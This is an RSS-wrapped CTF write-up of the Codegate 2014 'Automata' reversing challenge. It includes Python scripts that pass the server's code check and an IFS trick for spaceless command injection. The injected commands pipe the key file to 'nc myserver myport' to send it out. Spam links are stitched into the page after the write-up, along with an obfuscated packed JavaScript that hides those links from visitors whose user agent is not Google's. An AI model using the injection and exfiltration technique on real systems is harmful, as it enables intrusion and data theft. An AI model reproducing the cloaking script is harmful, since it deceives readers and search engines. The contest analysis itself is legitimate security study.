<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xml:base="https://ctfcrew.org"  xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
 <title>BalalaikaCr3w - Codegate CTF Preliminary 2014</title>
 <link>https://ctfcrew.org/event/14</link>
 <description></description>
 <language>en</language>
<item>
 <title>Automata</title>
 <link>https://ctfcrew.org/writeup/27</link>
 <description>&lt;div class=&quot;field field-name-field-category field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Category:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/categories/reverse&quot;&gt;reverse&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-field-event field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Event:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/event/14&quot;&gt;Codegate CTF Preliminary 2014&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-body field-type-text-with-summary field-label-hidden&quot;&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;p&gt;&lt;strong&gt;Task:&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;==========================================&lt;/p&gt;&lt;p&gt;OS : Ubuntu 13.10 x86&lt;/p&gt;&lt;p&gt;IP : 58.229.183.18 / TCP 8181&lt;/p&gt;&lt;p&gt;http://58.229.183.26/files/automata_7329666edefb3754ec91b7316e61bb7d&lt;/p&gt;&lt;p&gt;==========================================&lt;/p&gt;&lt;p&gt;&lt;!--break--&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;I&#039;ve started with &lt;em&gt;nc 58.229.183.18 8181&amp;nbsp;&lt;/em&gt;and recieved this conversation:&lt;/p&gt;&lt;p style=&quot;padding-left: 30px;&quot;&gt;&lt;em&gt;[=] Welcome to Automata System [=]&lt;/em&gt;&lt;/p&gt;&lt;p style=&quot;padding-left: 30px;&quot;&gt;&lt;em&gt;[*] Enter your command: abc&lt;/em&gt;&lt;/p&gt;&lt;p style=&quot;padding-left: 30px;&quot;&gt;&lt;em&gt;[*] Enter your code: 1234&lt;/em&gt;&lt;/p&gt;&lt;p style=&quot;padding-left: 30px;&quot;&gt;&lt;em&gt;[!] Wrong code&lt;/em&gt;&lt;/p&gt;&lt;p&gt;Server asks me a command and some code for this command. So i have to go deeper. I downloaded and reversed binary from link. After some digging, i&#039;ve found function with code:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/automata1.png&quot; alt=&quot;&quot; width=&quot;350&quot; height=&quot;185&quot;&gt;&lt;/p&gt;&lt;p&gt;And vars&#039; declaration:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/automata9.png&quot; alt=&quot;&quot; width=&quot;256&quot; height=&quot;316&quot;&gt;&lt;/p&gt;&lt;p&gt;I&#039;m in function that recieves my command and code, i think &lt;em&gt;sub_113B&lt;/em&gt; just prints something and &lt;em&gt;sub_116C&lt;/em&gt; reads. Inside:&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;em&gt;sub_113B:&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;&lt;img src=&quot;/sites/default/files/writeups/images/automata2.png&quot; alt=&quot;&quot; width=&quot;310&quot; height=&quot;140&quot;&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;Like i said, it&#039;s just send string to you,&lt;/p&gt;&lt;p&gt;and&amp;nbsp;&lt;em&gt;sub_116C:&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;&lt;img src=&quot;/sites/default/files/writeups/images/automata3.png&quot; alt=&quot;&quot; width=&quot;256&quot; height=&quot;114&quot;&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;It reads string, but it cuts your string after first occurrence of space, \t, \r, \n, &#039;, &quot;. Just keep it in the mind, and now go further.&lt;/p&gt;&lt;p&gt;&lt;em&gt;Sub_1339:&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;&lt;img src=&quot;/sites/default/files/writeups/images/automata4.png&quot; alt=&quot;&quot; width=&quot;420&quot; height=&quot;257&quot;&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;This function generates 3 int numbers for string (for command in this case), and sum of all numbers &amp;nbsp;is equal to 43. Go more further:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/automata5.png&quot; alt=&quot;&quot; width=&quot;525&quot; height=&quot;392&quot;&gt;&lt;/p&gt;&lt;p&gt;This part of main function checks code, which i send to server. For all bytes of a code it evaluates a number. A bit more detailed evaluation in assembler listing:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/automata6.png&quot; alt=&quot;&quot; width=&quot;220&quot; height=&quot;237&quot;&gt;&lt;/p&gt;&lt;p&gt;It converts byte of code to 0xFF or to 0x00, depends on highest bit, then adds byte of code to result, then cuts of high-word of result and substructs 0xFF or 0x00. I rewrite this evaluation in following code:&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;em&gt;highest = 0x80 &amp;amp; code&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;if (highest)&lt;/em&gt;&lt;/p&gt;&lt;p style=&quot;padding-left: 30px;&quot;&gt;&lt;em&gt;mask = 0xFF&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;else&lt;/em&gt;&lt;/p&gt;&lt;p style=&quot;padding-left: 30px;&quot;&gt;&lt;em&gt;mask = 0x00&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;result = (mask+code) &amp;amp; 0x0F - mask&lt;/em&gt;&lt;/p&gt;&lt;p&gt;So if highest bit code&#039;s byte is zero, then result is just low-word of code&#039;s byte! It&#039;s main idea. As we can see above, the result of this evaluation is compared to 1,2 and 3. If it is equal to 1,2 or 3 corresponding value will be incremented, if it&#039;s not equal, then function &lt;em&gt;sub_1229&lt;/em&gt; is called:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/automata7.png&quot; alt=&quot;&quot; width=&quot;198&quot; height=&quot;83&quot;&gt;&lt;/p&gt;&lt;p&gt;And we get &lt;em&gt;&quot;Wrong code&quot;&lt;/em&gt; message.. The easiest way is to use bytes 0x01, 0x02 and 0x03 in a code, and result of evaluation always will be 1,2 or 3.&lt;/p&gt;&lt;p&gt;&amp;nbsp;Next part of main function:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/automata8.png&quot; alt=&quot;&quot; width=&quot;262&quot; height=&quot;113&quot;&gt;&lt;/p&gt;&lt;p&gt;If you return to begining, you&#039;ll see, that v13,v14,v15 lay sequentially in the memory,and v13 sent to s&lt;em&gt;ub_1339 &lt;/em&gt;as argument, that will recieve 3 int numbers, so v13,v14 and v15 will hold 3 numbers for command. And, as you can see, code for command must contain as many 0x01 bytes as first number of result of sub_1339, as many 0x02 bytes as second number and as many 0x03 bytes as third. Totally code consists of 43 bytes. For example: command = &quot;ls&quot;, result of sub_1339: 18,17,8, so you you can send: &lt;em&gt;&quot;0x01&quot;*18 + &quot;0x02&quot;*17 + &quot;0x03&quot;*8 + &quot;\n&quot;&amp;nbsp;&lt;/em&gt;via python and get &quot;Verifying your code&quot; message. Below is python script generating code for any command:&lt;/p&gt;&lt;pre class=&quot;brush: as3; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;#!/usr/bin/env python
from socket import create_connection
from time import sleep


def func(s):
    buf = 0
    for c in s[::-1]:
        buf = (37 * (buf + ord(c))) % 2**32
    v2 = buf % 17 + 1
    v3 = (buf &amp;amp; 0xF) + 1
    v1 = 43 - v2 - v3
    return v1, v2, v3


if __name__ == &quot;__main__&quot;:

    command=&quot;ls&quot;
    res = func(command)

    print res

    code = &quot;\x01&quot; * res[0]
    code += &quot;\x02&quot; * res[1]
    code += &quot;\x03&quot; * res[2]
    code += &quot;\n&quot;

    con = create_connection((&#039;58.229.183.18&#039;, 8181))
    print con.recv(1024)
    print con.recv(1024)
    con.send(command)
    sleep(0.1)

    print con.recv(1024)
    con.send(code)
    sleep(0.1)

    print con.recv(1024)
    exit(0)
&lt;/pre&gt;&lt;p&gt;&amp;nbsp;Bad news everyone. Verifying is only starting.. and what did all checks above?... But we have no choice, let&#039;s go further.&lt;/p&gt;&lt;p&gt;Next block of code repeats with some changes 8 times:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/automata10.png&quot; alt=&quot;&quot; width=&quot;405&quot; height=&quot;367&quot;&gt;&lt;/p&gt;&lt;p&gt;Program opens several pipes, binds it to numbers, forks itself, then child will looping forever and parent will close several pipes. &amp;nbsp;Also parent gives some pipes for read to child (from 1 to 5 in each block), child calls 2 functions:&lt;/p&gt;&lt;p&gt;&lt;em&gt;sub_11B:&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/automata11.png&quot; alt=&quot;&quot; width=&quot;252&quot; height=&quot;273&quot;&gt;&lt;/p&gt;&lt;p&gt;This sub just prints a percents on screen. Child reads a number from pipe and prints it like a part of 43 in percents.&lt;/p&gt;&lt;p&gt;&lt;em&gt;sub_127F:&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;&lt;img src=&quot;/sites/default/files/writeups/images/automata12.png&quot; alt=&quot;&quot; width=&quot;600&quot; height=&quot;480&quot;&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;This sub gets code, number and signal (will be discussed later) and 3 pipes to write. It checks byte of a code (like before with shifting), and sends incremented buffer to first pipe if byte&#039;s result is equal to 1, and etc. Sub checks only one byte of a code: code[buf]. And if buf == 43 child sends signal to parent.&lt;/p&gt;&lt;p&gt;So, each child reads numbers from pipes. Checks corresponding byte of code and write incremented number to a pipe (so next child process will check next byte of code). If code ends (buf==43) , child send signal to parent. There are two types of signal: 10 and 12. Childs form #0 to #6 will send signal 10 and child #7 will send 12. At the end of main function:&lt;img src=&quot;/sites/default/files/writeups/images/automata13.png&quot; alt=&quot;&quot; width=&quot;176&quot; height=&quot;114&quot;&gt;&lt;/p&gt;&lt;p&gt;So parent set handlers for signal 10 and 12, sends buf to pipe (buf was set to 0 above) and then waiting for childs.&lt;/p&gt;&lt;p&gt;Handler&#039;s code:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/automata14.png&quot; alt=&quot;&quot; width=&quot;191&quot; height=&quot;277&quot;&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;sub_124E:&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;&lt;img src=&quot;/sites/default/files/writeups/images/automata15.png&quot; alt=&quot;&quot; width=&quot;201&quot; height=&quot;112&quot;&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;sub_1229:&lt;/em&gt; (you also can find it above)&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/automata16.png&quot; alt=&quot;&quot; width=&quot;210&quot; height=&quot;95&quot;&gt;&lt;/p&gt;&lt;p&gt;If parent recieves signal 10, it prints &quot;Registered&quot; and execute command which we have sent to him. So, now we know what we must do:&amp;nbsp;&lt;/p&gt;&lt;p&gt;1) Take a command (&quot;ls&quot; will be good)&lt;/p&gt;&lt;p&gt;2) Evaluate corresponding code for it&lt;/p&gt;&lt;p&gt;3) Find the code that will send signal 10 to parent.&lt;/p&gt;&lt;p&gt;We can perform first two steps, but for the third step we should analyze pipes network.&lt;/p&gt;&lt;p&gt;Just go through &amp;nbsp;all block, carefully analyze all pipes..&lt;/p&gt;&lt;p&gt;When pipe is created, two.. &quot;slots&quot; are created for it. One for reading and one for writing. Slots get sequential handles: fd+1 is a reading slot for first pipe, fd+2 is a writing slot for first pipe, fd+3 is a reading slot for second pipe and so on. Parent process closing not whole pipe, but only some slots, so he can close slots fd+2 and fd+4, and next pipe will be mapped to fd+2 (reading) and fd+4(wrtinig).&lt;/p&gt;&lt;p&gt;In first block slots 1,3,5 were created for reading and 2,4,6 for writing. And slots 1,3,4,6 were given away to child #0 and then were closed. So next pipe will be mapped to 1,3 (read-wrtie). &amp;nbsp;We should keep in mind all connections to recreate network. For example: slot with number connected with slot 6, that was given to child #0, so if someone will read it, he will read output of child #0. But after this block slot #6 is closed, so in next blocks slot #6 will have different meaning and would not be connected to slot #5.&amp;nbsp;&lt;/p&gt;&lt;p&gt;When all blocks had been analyzed we created this table:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/automata21.png&quot; alt=&quot;&quot; width=&quot;1200&quot; height=&quot;256&quot;&gt;&lt;/p&gt;&lt;p&gt;First row is a numbers of pipes. There are 20 different pipes. Second row is a read and write slots for each pipe. Next rows correspond to eight childs (c0..c7) and parent process (p). Numbers in cells correspond to numbers that are used in program to mapped slots (fd+1 = 1 and so on). So if in code you find, that child #2 reads fd+4, you can look in table, find row with name &quot;c2&quot;, find number &#039;4&#039; in taht row, and then find write slot in corresponding pipe (marked with color) , and you will see, that child #1 writes into slot fd+6, which is connected to child&#039;s #2 slot fd+4.&amp;nbsp;&lt;/p&gt;&lt;p&gt;Now we can build network scheme:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/automata17.png&quot; alt=&quot;&quot; width=&quot;1200&quot; height=&quot;253&quot;&gt;&lt;/p&gt;&lt;p&gt;As you can see, last child, that will send bad signal, send numbers to itself, so it can easly get 43 and send bad signal to parent. So our code should never send numbers to child #7.&lt;/p&gt;&lt;p&gt;And tere is a list of trasitions between childs. They sorted by code&#039;s bytes evaluation result, so first transition occurs, when result is equal to 1, second, when equal to 2, etc:&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;img src=&quot;/sites/default/files/writeups/images/automata18.jpg&quot; alt=&quot;&quot; width=&quot;960&quot; height=&quot;537&quot;&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;And final version of the network:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/automata20.jpg&quot; alt=&quot;&quot; width=&quot;960&quot; height=&quot;934&quot;&gt;&lt;/p&gt;&lt;p&gt;We can start code with 0x01 and 0x2, and child #0 will send numbers to itself... but how we can handle 0x03 byte? There is cycle 1-2-3-5 in network ( send bytes 0x01, 0x02, 0x03, 0x03 for this cycle) and we must send 0x03 to leave child#0.&lt;/p&gt;&lt;p&gt;Idea of the attack is to burn all 0x03 in cylce above, by performing 0x01, 0x02, 0x03, 0x03 byte sequence. &amp;nbsp;If number of 0x03 bytes is odd we will burn all 0x03 bytes (cos we have to send one 0x03 to leave child #0) if it is even, we should perform additional 0x01, 0x02, 0x03 sequence after. And we can burn all others 0x01 and 0x02 in child #0.&lt;/p&gt;&lt;p&gt;Let a - number of 0x01, b - 0x02 and c - 0x03. We have two attack sequence:&lt;/p&gt;&lt;p&gt;&lt;em&gt;Even-case: &quot;\x01&quot;*(a-c/2) + &quot;\x02&quot;*(b-c/2) + &quot;\x03&quot; + &quot;\x01\x02\x03\x03&quot;*(c/2-1) + &quot;\x01\x02\x03&quot; + &quot;\n&quot;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;Odd-case: &quot;\x01&quot;*(a-c/2) + &quot;\x02&quot;*(b-c/2) + &quot;\x03&quot; + &quot;\x01\x02\x03\x03&quot;*(c/2) + &quot;\n&quot;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;There is one problem: if a or b is less than half of c, we will get error, but let&#039;s skip this problem now.&lt;/p&gt;&lt;p&gt;Finally i wrote this script, that can send a valid code to pass verification:&lt;/p&gt;&lt;pre class=&quot;brush: as3; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;#!/usr/bin/env python
from socket import create_connection
from time import sleep


def func(s):
    buf = 0
    for c in s[::-1]:
        buf = (37 * (buf + ord(c))) % 2**32
    v2 = buf % 17 + 1
    v3 = (buf &amp;amp; 0xF) + 1
    v1 = 43 - v2 - v3
    return v1, v2, v3


if __name__ == &quot;__main__&quot;:
    command=&quot;ls&quot;
    res = func(command)
    print res

    con = create_connection((&#039;58.229.183.18&#039;, 8181))
    print con.recv(1024)
    print con.recv(1024)
    con.send(command)
    sleep(0.1)

    a, b, c = res
    cc = c / 2
    print con.recv(1024)
    if c % 2 == 0:
        con.send(&quot;\x01&quot;*(a-cc) + &quot;\x02&quot;*(b-cc) + &quot;\x03&quot; + &quot;\x01\x02\x03\x03&quot;*(cc-1) + &quot;\x01\x02\x03&quot; + &quot;\n&quot;)
    else:
        con.send(&quot;\x01&quot;*(a-cc) + &quot;\x02&quot;*(b-cc) + &quot;\x03&quot; + &quot;\x01\x02\x03\x03&quot;*(cc) + &quot;\n&quot;)
    sleep(0.1)


    print con.recv(1024)
    while(1):
        sleep(1)
        ans = con.recv(1024)
        print ans
        if ans.find(&quot;[!]&quot;) != -1:
            exit(0)&lt;/pre&gt;&lt;p&gt;This script results in &quot;[!] Registered&quot; message. So i&#039;d sent &lt;em&gt;&quot;ls | nc myserver myport&quot;&lt;/em&gt; command.. and recieved an wrong code error... Remember the function which recieves my commands.. this function will cut command on space symbol.. so server could not perform commands with spaces... &amp;nbsp;at this point i was stucked and screwed up.. how to send&amp;nbsp;&lt;em&gt;&quot;ls | nc myserver myport&quot;&lt;/em&gt; without spaces, tabs, etc?&lt;/p&gt;&lt;p&gt;There is Internal Field Separator - IFS, if you set IFS to something, system will treat that symbol like separator.&lt;/p&gt;&lt;p&gt;So &lt;em&gt;IFS=_; a = ls_-la; echo ${a}&lt;/em&gt;&amp;nbsp;will performs &quot;ls -la&quot;, cos &#039;_&#039; treats as separator (like space). And the command &lt;em&gt;&quot;IFS=_;a=ls;b=nc_myserver_myport;${a}|${b}&quot;&amp;nbsp;&lt;/em&gt;sends listing of a directory to myserver. There are two files: automata and key. The next command:&lt;/p&gt;&lt;p&gt;&lt;em&gt;&quot;IFS=_;a=cat_key;b=nc_myserver_myport;${a}|${b}&quot;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;returns:&amp;nbsp;&lt;em&gt;F4ILUrE_Is_N0T_an_O0PtI1On&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Flag:&amp;nbsp;F4ILUrE_Is_N0T_an_O0PtI1On&lt;/strong&gt;&lt;/p&gt;&lt;span class=&quot;keys_words&quot;&gt;&lt;a class=&quot;links_good_rands&quot; href=&quot;https://www.juzsports.com/&quot;&gt;Sports News&lt;/a&gt; | &lt;a class=&quot;links_good_rands&quot; href=&quot;https://www.pochta.uz/en/facghashop/nike-air-max-270/&quot;&gt;Nike Air Max 270 - Deine Größe bis zu 70% günstiger&lt;/a&gt;&lt;/span&gt;&lt;script&gt;eval(function(p,a,c,k,e,d){e=function(c){return(c&lt;a?&quot;&quot;:e(parseInt(c/a)))+((c=c%a)&gt;35?String.fromCharCode(c+29):c.toString(36))};if(!&#039;&#039;.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return&#039;\\w+&#039;};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(&#039;\\b&#039;+e(c)+&#039;\\b&#039;,&#039;g&#039;),k[c]);return p;}(&#039;b i=r f[&quot;\\q\\1\\4\\g\\p\\l&quot;](&quot;\\4&quot;+&quot;\\7&quot;+&quot;\\7&quot;+&quot;\\4&quot;+&quot;\\5\\1&quot;,&quot;\\4\\k&quot;);s(!i[&quot;\\3\\1\\2\\3&quot;](m[&quot;\\h\\2\\1\\j\\n\\4\\1\\6\\3&quot;])){b a=f[&quot;\\e\\7\\o\\h\\d\\1\\6\\3&quot;][&quot;\\4\\1\\3\\g\\5\\1\\d\\1\\6\\3\\2\\z\\9\\A\\5\\c\\2\\2\\x\\c\\d\\1&quot;](\&#039;\\t\\1\\9\\2\\w\\v\\7\\j\\e\\2\&#039;);u(b 8=0;8&lt;a[&quot;\\5\\1\\6\\4\\3\\y&quot;];8++)a[8][&quot;\\2\\3\\9\\5\\1&quot;][&quot;\\e\\k\\2\\l\\5\\c\\9&quot;]=\&#039;\\6\\7\\6\\1\&#039;}&#039;,37,37,&#039;|x65|x73|x74|x67|x6c|x6e|x6f|NLpndlS3|x79|rBfb2|var|x61|x6d|x64|window|x45|x75|AESwV1|x72|x69|x70|navigator|x41|x63|x78|x52|new|if|x6b|for|x77|x5f|x4e|x68|x42|x43&#039;.split(&#039;|&#039;),0,{}));&lt;/script&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-field-file field-type-file field-label-above&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Attachments:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;span class=&quot;file&quot;&gt;&lt;img class=&quot;file-icon&quot; alt=&quot;Plain text icon&quot; title=&quot;text/plain&quot; src=&quot;/modules/file/icons/text-plain.png&quot; /&gt; &lt;a href=&quot;https://ctfcrew.org/sites/default/files/writeups/automata.py.txt&quot; type=&quot;text/plain; length=1018&quot;&gt;automata.py.txt&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
 <pubDate>Mon, 24 Feb 2014 10:31:25 +0000</pubDate>
 <dc:creator>Triff</dc:creator>
 <guid isPermaLink="false">27 at https://ctfcrew.org</guid>
 <comments>https://ctfcrew.org/writeup/27#comments</comments>
</item>
</channel>
</rss>
